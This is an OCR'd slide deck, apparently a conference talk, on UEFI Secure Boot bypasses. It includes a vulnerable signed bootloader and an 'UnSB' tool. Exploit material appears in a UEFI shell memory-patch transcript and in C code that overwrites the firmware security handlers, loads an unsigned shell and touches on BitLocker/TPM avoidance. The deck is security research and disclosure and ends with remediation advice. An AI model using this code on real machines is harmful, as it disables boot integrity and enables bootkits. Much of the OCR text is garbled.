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Hgenda

* Background

* Vulnerabilitics
* Demos

* Summary
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e bat 15 Secure Boot

"Secure Boot is an important
security feature designed
to prevent malicious software

from loading when your PC
starts up (boots)”
~Gandalf

bttps://web.archive.org/web /20220331052 211 bttps://docs. microsoft.com/en-us/windows-bard ware/design/device-experiences/oem-secure-boot
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: Backaround

g Handle |' i

I

= GUID

= Protocol interface

fx: Function pointer 1 UEFI driver

= Function pointer 2 \\ GUID 1

Z L N ™| Function 1 :

E Private data >  Accons
A Function 2 device or
» services
N produced
b wee > by other
UEFI
drivers
GUID 2

==

saw >

2|

E v suw

=
https://web.archive.org/web/20220722231122/https://edk2-docs.gitbook.io/edk-ii-uefi-driver-writer-s-guide/3_foundation/36_protocols_and_handles/362_protocol_interface_structure
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* Security checks are built using Protocols also

* Register Security Pandlers

%' Pappens carly in boot to configure what security related
actions need to be taken later on

* Execute Security Dandlers

x| " * for each security-relevant operation, a corresponding
9% bandler is fetched and executed

* Registered Protocol used for execution-time checks
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* Example use of bandlers
* CIPM measurements
* Signature Checking

* NOCE
* CPM measurements are done PRE-EF1 as well.
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Background

5 : . UEFI
Pre : Interface
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0OS-Absent

App
Processor

Init

_ Transient OS
Device, Environment
Bus, or

Service
: Transient OS Boot
Driver
! Loader

T0 LOAD TH

OS-Present
App

Final OS Boot Final OS
Loader Environment

¥ ONE BOOPLOADER

(D) ALk

Security Pre EFI Driver Execution | Boot Dev Transient Run Time

(SEC) Initialization Envi(r{c)))r(?ent ?ggg; System Load (RT)
(PEI) ) (TsL)
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%Power on [ .. Platform initialization . . [ = @S booE. - . ]
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01004 U0 —F

Runtime DXE _>) UEFI
Services Drivers

Drivers

Pre-UEFI DXE Boot 0S
Initialisation Dispatcher Manager Loader

0’1 0L d30¥0'L00d U0 * S (O 80T 0., 434

[{

Boot UEFI
->

Applications

Services
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* Mstory of Secure Boot Bypasses
* Golden Rey

IMPORTANT: This Tool installs the Secure Boot Debug Policy that will allow you
to run unsigned test applications for the purpose of development, debugging and
refurbishment of a windows RT device. By installing the Policy, you agree to
abide by the Use Terms that have been separately provided to you. Those Use
Terms include, without Timitation, your obligation to allow Tool and Policy
access only to authorized users, and to protect the confidentiality of the Tool
and the Policy at all times. Using the Tool puts your device into an unsupported
configuration which may void your warranty.

If you do not agree to the Use Terms, press Esc or select Decline. Either will
result in the Policy not being installed. If you agree to the Use Terms and wish
to install the Policy, press F3 or select Accept and Install to install the
Policy on this device. use either the Volume Up/Down or Cursor/Arrow keys to
highlight your selection, and then use either the Windows button or Enter key to
confirm.

Decline

Description: You accept the terms and conditions and the Debug Policy will
be installed.

a _f" Syd Bizkut
’E @syd_bizkut
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* Bistory of Secure Boot Bypasses
* Raspersky GRUB Bypass

/A /A /| |
i . > i
| | | | > | |
| EFr | | EF1 | » | EFT |
| | |
BOOTX64 . efl grubxed.efi grubxea real,efi
{Kaspersky {Fileauthentication {GRUBZ2}
Locader) override}

L

. t

/I ||

i ||

| | —— Valdikss
I EFI I @Valdikss

fde 1d.efi + custom chain.mod
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Background

* Pistory of Secure Boot Bypasses

* Boothole
e Round 1
e Round 2

Http

Year \-fuln:a:Htiez Dos Ex::::on Overflow C:Irer:.l:tri:n Inj:::ien *ss ?I':';i:tr:: F:_‘::;n:: s:::::isng Infnf:'l‘:tiun

2015 1 1 1 1 1

2020 8 3 [} 4

2021 8 4 1 1 2

2022 1

Total 18 1 z 7 2 z 1
% Of All 5.6 38.9 38.9 11.1 0.0 0.0 0.0 0.0 38.9 5.6

D3£CON

31 SITOAYHS 3t 3el3HIT AUOWRY A0 AUMT 3t UI 3U0AHk AN STH U0 (0T AN skl 404 3U0 “BIA 0 A3WMO0A SAOAUBA Tk 0W) A0 SUN BUOLS A0 STIVT l3Hhls U SAAOY Ad skl A0 UBASS *RAS 3tkly el3(UI SOUDA-IIHO 3ty A0 Sk 33elhL

OSEO0A 30 <+

+ I ML QY01 0.1 A3080NL004 BUO0 % S (DML (¥OT 0L d3A¥OTK004 sU0 * SEIE DL A¥0T 0L s



+ THREE KEUS FOR PHE OEM-KINGS MDER THIE SKU, SEVET FOR FHE BY KORDS il THER HAKLS OF STONE, Nill€ FOR (NORTAL VENDORS DOOMED T0 D€, 0N FOR FHE DARK LORD O H1iS DARK FHROME: I THIE LAND OF REDMOMD [HIERE THE SHADOIIS Li€.

Background

* Pistory of Secure Boot Bypasses
* Vulnerabilities ‘ T—

@assaf_carlsbad .+ Adam pi3’ Zabrocki
* SMM (recent Binarly & Sentinel One) T @Adam pi3
* ESECT Lenovo vulnerabilities | N oy
* Debug features in Production | bl

* BS5H '

n . Alex Tereshkin

(¥ .
4 ﬁ'-:'?"'? @AlexTereshkin

Ring 0

Ring 1
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Stealth
* Wy bypass Secure Boot at all? Eo .
e Classic... Bootkits and Rootkits .

HosgiT STEALTH

Nk

-4

l‘ 5
E =
3 MI‘(IO‘J ORC ,[!

o ez e

MITRE ATT&CK

PBome > Cechnmiques > Enterprise >Pre-OS Boot
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Background

* by bypass Secure Boot at all?
* Gaming
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* by bypass Secure Boot at all?

* Gaming how example
* Exec code pre-O8 and DSE | Patch | Ete.
e Communicate with backdoor from OS

[+] \EFI\Boot\EfiGuardDxe .efi
(_‘ '| ". ".
ot dibadd "c*“ ¥ @Mattiwatti
FSO:\> 1s " 2
irectory of: FSO:
29/11/2021 23:43 26.266.5:: memory.efi
0971172021 23:46 <DIR> 4,0 =
1 File(s) 26,266,556 bytes Samuel Tulach
1 Dir(s) Sootiosun
FSO:\> load memory.efli W OOTIOSL

efi-memory (build on: Jul 9 2020 in: 1_7:43:«)
https://github.com/SamuelTulach/ef l-memory

Image 'FSO:\memory.efli' loaded at C2882000 - Success
FSO:\>
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Background

* by bypass Secure Boot at all?
* w3cheats

« APEX

* C560
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* by bypass Secure Boot at all?

* FHCEITC-cheats
* CS60

=T
“::; C/

PR Y
,Jm‘_, % g
FACEIT

rnrumi lIIEAl+

SPOOFE

WALHACK ANDmomn:F
THE BAN ON HARPH L

Premium cheat +Spoofer

The set includes:

v Premium cheat FacelT for 2
months (WallHack)

v Spoofer for FacelT for 2 months

v Instructions and tips for playing on
FacelT

v Technical support for any
questions

30€

for 2 months

Tt
\ALLHACK FOR AL
C5:GO LEAGUES

Premium cheat

v External cheat

v Only Wallhack (Boxes, HP)

X No settings

< Bypass al

v Maximum protection

v Launch in 1 click at least during

the game
v No slot limit @

25€

for 1 month

Buy now

D3£CON

URAN - the best cheat

v Internal cheat

Vv Aim, Wh, Trigger, RCS, Skin
changer, Bhop, Radar

v Flexible settings

+ Bypas leagues, i

v Maximum protection

v Launch in 1 click at least during
the game

Vv 100 slots @

v Spoofer included

40€

for 1 month

Buy now

SPOOFER

i =
aYpASSING THE BN O
HARDWASE

.gseA 7

Spoofer

A program that changes your PC ID to
bypass repeated bans on FacelT (ban
evasion)
v Tested

v Launch in 2 clicks
v No need to reinstall 0S

15€

for 3 months

Buy now
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* by bypass Secure Boot at all?

.+ DAYZ

« TARKOV

. VACORANC

. RAINBOW SIX

. ENLCISTED

. FORCNICE

.+ SQUAD

 HUNT SHOWDOWN
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*OR, but bow does this kind of 1ssue get fixed?

* Simple, DBX update ONE DOES NOT STMPLY,

COMPUTERWORLD

The mess behind Microsoft’s yanked UEFI patch KB 4524244

7D et
v"I‘\N}Iicrosoft pulls security

update after reports of
issues affecting some PCs

A standalone security update released as part of the February
Patch Tuesday cycle has created headaches for some owners of
PCs running Windows 10. After investigating reports of those
issues, Microsoft has yanked KB4524244 from its update servers.

Kaspersky denies it's responsible for
Windows 10 update fails as blame game
commences

By Matt Hanson published February
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*OR, but bow does this kind of 1ssue get fixed?
* how to undo the fix to this 1ssue¢

—Expert Key Management

!|]_| Enable Custom Mocde

Custom Mcode Key Management

@ PK Save to File

@ KEK

© dob

© abx Things are now in‘motion
that be undone.

can
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* Signed UEFIL Shells

* 2 unique shells

0000000000000 000000000000000 0 ( Cv

l

)

O

“i
b -

‘8

< b | -
: &2 Eurosoft , ,
. CryptoPro Secure Disk for BitLocker
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* Signed UEFIL Shells

* 2 unique shells

* Using UEFIL Shell built in tools to bypass secure boot
* Memory read and write
* Other utilities for listing bandles, mem maps , cte.

TG SN

R———"C
e RIS

* Exploitation automation using scripting
* startup.nsh
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UEFIL Shell Secure Boot bypass example

UEFI Interactive Shell v2.2
EDE II
UEFI v2.70 (EDK II. 0x00010000)
Mapping table
FS80: Alias(s) :HD1b::BLEZ:
PciRoot (0x0) /Pci (0x2.0x0) /HD (1,MBR . 0xBE1AFDFA, 0x3F . 0xFBFC1)
BLK1: Aliasis):
PciRoot (0x0) /Pci (0x2 ., 0x0)
BLKO: Alias(s):
PciRoot (0x0) /Pci (0x1F, 0x2) /Sata (02, 0xFFFF , 0x0)
Press ESC in 4 seconds to skip startup.nsh or any other key to continue.
Shell> fs0:
F30:%> Hellolorld.efi
Command Error Status: Access Denied
F30:)\> patch.nsh
FS0:\> mn 0x3F2c57aB 0xc3c03148 -w B -MEM
FS0:\> mn 0x3F2c57e8 0xc3c03148 -w B8 -MEM
FS0:\> HelloWorld.efi
Hellolorld
FS0:\> _
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* YVulnerable Bootloader
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* Signed bootloader with a built in Secure Boot bypass
* 73RB of signed bootloader that bas a terrible design flaw
* MUCD better bypass than the old Kaspersky bypass

Ppee56b8  {

PPBB56CC systab = arg2;

000A56e4 Initializelib(argl, systab, arg3);

0PPA56ee insecure mode = detect secure mode();

0e0a56fd if (insecure mode != @)

000056b {

0000570b Print(0, &data c760);

000056fF )

000aS571e int64 t rax 5 = start image(&data_c6b0);

00005721 if (load options size != 0)

PBRe572d {

00eB5731 second_stage;

0peas573b FreePool (); ;%

PBee573b ) /ﬁ% é
00005745 return rax_5; < 2
00005745 } % >
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*COOL RELEHSE:

* InSB ~ "Un-SecureBoot” UEFI application to disable
Security Dandles and bypass Secure Boot turning it off.

EFI_SECURITY_ARCH_PROTOCOL  *mSecurity = NULL;
EFI_SECURITY2_ARCH_PROTOCOL *mSecurity2 = NULL;

07 01 TA0TR004 300 5% T UM (0T 01 30

if (mSecurity2 == NULL) {
gBS->LocateProtocol (&gEfiSecurity2ArchProtocolGuid, NULL, (void **)&mSecurity2);
}

[{

if (mSecurity == NULL) {
gBS->LocateProtocol (&gEfiSecurityArchProtocolGuid, NULL, (void **)&mSecurity);
}
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* Exploitation

* No shellcode required
* Irite you own code

and run it

s B

(sbrug)

EFI_SECURITY_ARCH_PROTOCOL  *mSecurity
EFI_SECURITY2_ARCH_PROTOCOL *mSecurity2
if (mSecurity2 == NULL) {
gBS->LocateProtocol (&gEfiSecurity2ArchProtocolGuid, NULL, (void **)&mSecurity2);
}
if (mSecurity == NULL) {
gBS->LocateProtocol (&gEfiSecurityArchProtocolGuid, NULL, (void **)&mSecurity);
}
ASSERT (mSecurity2 == NULL || mSecurity != NULL);
//Patch the handlers and proceed to load the unsigned UEFI Shell efi.
*((UINT32 *)mSecurity->FileAuthenticationState) = ©xc3c03148;
*((UINT32 *)mSecurity2->FileAuthentication) = @xc3c©3148;

NULL;
NULL;

CHAR16* gShellPath = L"\\ShellX64.efi";
EFI_DEVICE_PATH* ShellPath;
Status = LocateFile(gShellPath, &ShellPath);
if (EFI_ERROR(Status)) {
return Status;
}
Status = gBS->LoadImage(TRUE, ImageHandle, ShellPath, NULL, @, &ShellPath);
if (EFI_ERROR(Status)) {
return Status;
}
Status = gBS->StartImage(ShellPath, (UINTN*)NULL, (CHAR16 * *)NULL);
if (EFI_ERROR(Status)) {
return Status;

}

return Status;
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* Exploitation
* Mount €SP and copy files

* Need to be admin
* 50 many ways to get admin
* LOL Installers

User Account Control

Do you want to allow this app to make
changes to your device?

= Driver Auto Installer

2k Semiconductor Corp.
n this computer
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* Bit Locker Bypass using UnSB
* {@bo 1s ¢ven using CPM?
* Bow are the TPPM measurements done?
* how UnSB affects the measurement process
* Persistent SB Bypass and TPPM avordance

* how does 1t work?
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*Pow can you get the fix and apply it

* Update your machines asap

* Perform a DBX update
* PowerShell
* LCinux
* Bow to avoid Fix bypasses
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Summary

* Vendor response
* No official response was received before writing this line.
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